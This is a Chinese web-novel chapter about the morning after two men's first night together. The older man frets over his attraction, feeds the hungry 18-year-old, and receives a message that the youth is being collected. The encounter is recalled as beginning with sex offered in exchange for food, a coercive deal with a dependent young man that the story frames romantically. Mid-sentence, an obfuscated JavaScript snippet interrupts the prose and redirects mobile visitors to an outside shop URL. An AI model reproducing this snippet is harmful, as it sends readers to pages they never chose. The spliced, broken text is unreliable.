熟睡中,似乎有初生的阳光透进来了,明明很温暖,却独有一片阴凉,罩在身上,一个直勾勾的视线存在感极强的盯着……晃动……紧接着是锐利的控诉:“……饭,我要吃饭!”
秦承猛然惊醒,瞬间被黑影吓了一跳。
陈思跪坐在他身边,一张脸皱成了包子,双手推着。下半身竟然什么都没穿,光溜溜的两条腿,隐约能看到暧昧的红痕。
他似乎是等了很久,秦承都没有醒,捂着肚子很不高兴地说:“你、你说要要给我做饭的。”
暗夜中的一幕幕涌上心头。秦承身体僵了两秒钟,猛地爬起来,胡乱穿着衣服,语无伦次道:“你不知道早点叫我起来吗?”
“我、我屁股疼……不、不敢。”陈思噎住,丧眉耷眼地低下脑袋,揪着手指小小声说。
他昨天脑袋一热就凑上去了,没想到秦承越来越凶,后来他都哭了,不管怎么求秦承,秦承也像是听不懂似的不肯停,甚至中间他还昏过去一会,再醒来秦承还在。
汗液像水一样从男人腰上滑下去,他腿都没有力气了,哪里都疼。那种情况下,根本想不起来饿,回过神都饿过劲儿了。
等到秦承终于解决了,他倒头就睡,留小结巴一个人不知所措,是把他叫起来给自己做饭好呢,还是等他醒呢?可是屁股好痛,他怕秦承醒了,又要欺负他。
纠结着纠结着,饿意又上来了,忍了半小时,彻底忍不住了,这才把秦承推醒。
“去洗澡,我给你做饭。”秦承慌里慌张地撂下冷冷的一句,就要转身,刚走出两步,就听后背一声“哎呦”。
回头,陈思从床上爬下来了,一只脚着地,另一只腿还架在床上,他痛得五官都挤在一起“好好、好疼的。”,说话时,叉开的腿间,滑下一滴粘稠的汗液。
嘀嗒。
秦承像是被这个声音烧着了一样,他深吸口气,都没敢问哪里疼,立马冲上前。
陈思还没反应过来,整个人就腾空而起,被人扛着跑进浴室,扔进了浴缸,两条白花花的腿就这么架在浴缸两侧,腿肉硌出一个沟壑。
很快手里就被塞了个花洒,他懵懵的,听见头顶来了句:
“能自己洗吗?”向来冷静的声音罕见的出现颤抖,他似乎有点懊恼,责怪自己不该问,“算了你自己洗吧。”
说话的全程,秦承都没正眼看一眼陈思,冷着一张臭脸,低垂眼睛别开视线。可他不知道,这个别扭的姿势让他泛着可疑红色的耳尖一览无余。
他带着旁人难以想象的速度,蹭地拉开门落荒而逃,门拍在门框上的声音出奇得大。
……冲出去的姿势也有几分奇怪。
“诶?”陈思能感觉到,秦承低头之前,飘忽的视线似乎往他身上某处瞟了一眼。看到什么了跑这么快?他低头,摸摸自己的腿,发出疑惑的声音。
是这里吗?
秦承逃跑的样子不是第一次见到了。
只是之前,秦承还秉持着一种成熟的姿态,哪怕是回避,也极尽掩饰着,可今天却风度全失,进入社会十多年以后,本以为所有事情都有足够的经验应对,却乍然遇到不熟悉的领域,露出了只有青涩的小子才会露出的神情。
这其中奥妙,陈思并没有参透,他只是觉得秦承的反应很熟悉,好像在哪里见到过,比如给他擦药的时候,他光着腿从医院浴室出来的时候……
这几次,不约而同的有个共同点。
陈思的眼睛突然亮了,他又摸了摸自己的腿,发出一声美滋滋又大彻大悟的:“诶!”
厨房里,秦承头抵在门上,胸腔一起一伏。
从醒来开始,一幕幕刺激的画面已然超出了他的承受能力。陈思这个天降的麻烦,总能不费吹灰之力,让他像湖潭死水一样平静的情绪泛起波澜,乃至惊涛骇浪。
昨夜的触感如蛛丝般再现,热乎单薄的身体,被他触碰的时候会黏糊糊的哼唧,把哭的湿乎乎的小脸埋在他胸前,晃晃悠悠的声音生涩地打商量:“轻、轻点,真的好疼的……”
他说什么?他什么也没说,只是把人抱更紧了。
秦承呼吸都是炽热的,回想这一切的开始,是他抛出的那一道罪恶的橄榄枝——“让我做一下,我就给你饭吃。”
那说的是人话吗!
他猛地抬手,狠狠扇了自己一个巴掌,皮肤泛起红痕。
秦承捂着脸蹲下,猛地吸了口气,抖着手掏出手机翻聊天记录,终于找到了老张发过来的那张有陈思身份信息的图片,盯着上头的18岁零6个月,他稍微冷静点了,不停念叨着“成年了,成年了,成年了……操!”
冷静个屁!
陈思成年了,也不妨碍他是个男的!
张东风骚扰过他很多次,他都只有恶心的感觉,没有所谓的情欲。他就以为自己面对所有男的都是如此,他是彻头彻尾的直男,可现在……可现在……他到底什么时候这么变态的?!
昨晚他还可以说是药效发作,现在又是怎么回事?秦承低头往腿间瞄了眼。没有昨晚那么夸张,但……
他□□不高,按照他的经验,清晨醒来时虽然会有一定的反应,但待一会也就下去了。并且昨晚透支太过严重,今早不会特别持久。
可自打睁眼看到陈思,眼睛就像提前设置了锚点一样,不管他怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154623|196526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么忽略,在三秒之后视线都会集中到陈思的腿上,偶尔陈思的姿势过于开放,他还能看到别的。
就这样一波未平一波又起,直到逃到厨房,秦承的身体都被生理的火焰困扰着。
“啊!”秦承想不明白,他是真的失控了,坐在地上绝望地揉了把脸。
“好吃……呜,好好吃。”半个小时后,陈思捧着和他脸一样大的碗,勺子舀着蛋炒饭,吃的不亦乐乎。
没见过这么捧场的,秦承都看懵了:“……真有这么好吃?”
他家里几乎没有吃的,无头苍蝇一样翻箱倒柜半天,差点要出门去超市购物的时候终于在冰箱的深处发现了一颗鸡蛋,半颗葱,还有一盒速食米饭。
鸡蛋的外壳有些发干,好在闻起来没有异味,秦承加热速食饭后起锅烧油转个圈,放葱炒了个蛋炒饭。
很随便的炒法,大街上随便拉一个人来都能复刻。秉持着凑合吃饿不死的态度给陈思端上了桌,没想到这小东西大口大口吃的可开心了,小腿在桌子底下晃。
“嗯!好吃!”陈思应一声,大口扒饭,嘴巴周围站了金黄的米粒。
虽然也有好不容易吃一顿热乎饭,自然很珍惜的成分在,但秦承的手艺真是不差,是他吃过的饭里能排上前几的程度。
但他这么高兴,也不全是饭的原因。
自从在浴室里开悟了,陈思就想清楚了。他已经是和秦承睡过的人了!睡过是什么关系?就是陈强逃债都要带着他女朋友一起远走高飞的关系。
睡过,就代表着责任,代表着永远都绑在一起,代表着他是秦承的男朋友,是老婆!不管他吃多少饭,秦承都不会抛弃他的!
陈思开怀地咽下最后一口饭,眼睛亮晶晶地举起碗,雀跃道:“再、再吃一碗!”
今天的事情完全超出秦承的认知了,目光不停地从陈思的脸上划过,盯几秒,又自我谴责地收回来,再盯,再自我谴责……虽然面上不显,依旧是那种拒人于千里之外的表情,脸又臭又拽能立刻去给大牌杂志拍封面。
但不得不承认,他在走神。
因此陈思举着碗要饭的时候,他想都没想,完全没注意他的饭量,起身去厨房盛了一碗饭,木着脸回来。
东张西望的陈思把碗拽过来,埋头干饭,还不忘说了一句:“谢、谢谢。“
“你……”秦承看他的目光很复杂,他刚要谈谈昨晚的事情,手机就叮铃一声响。
老张的短信:
“小秦,打你电话打不通,发个短信告诉你。市里来接陈思的人到海县火车站了,我马上去接人家,你收拾收拾把陈思带到警察局旁边的小吃店吧。”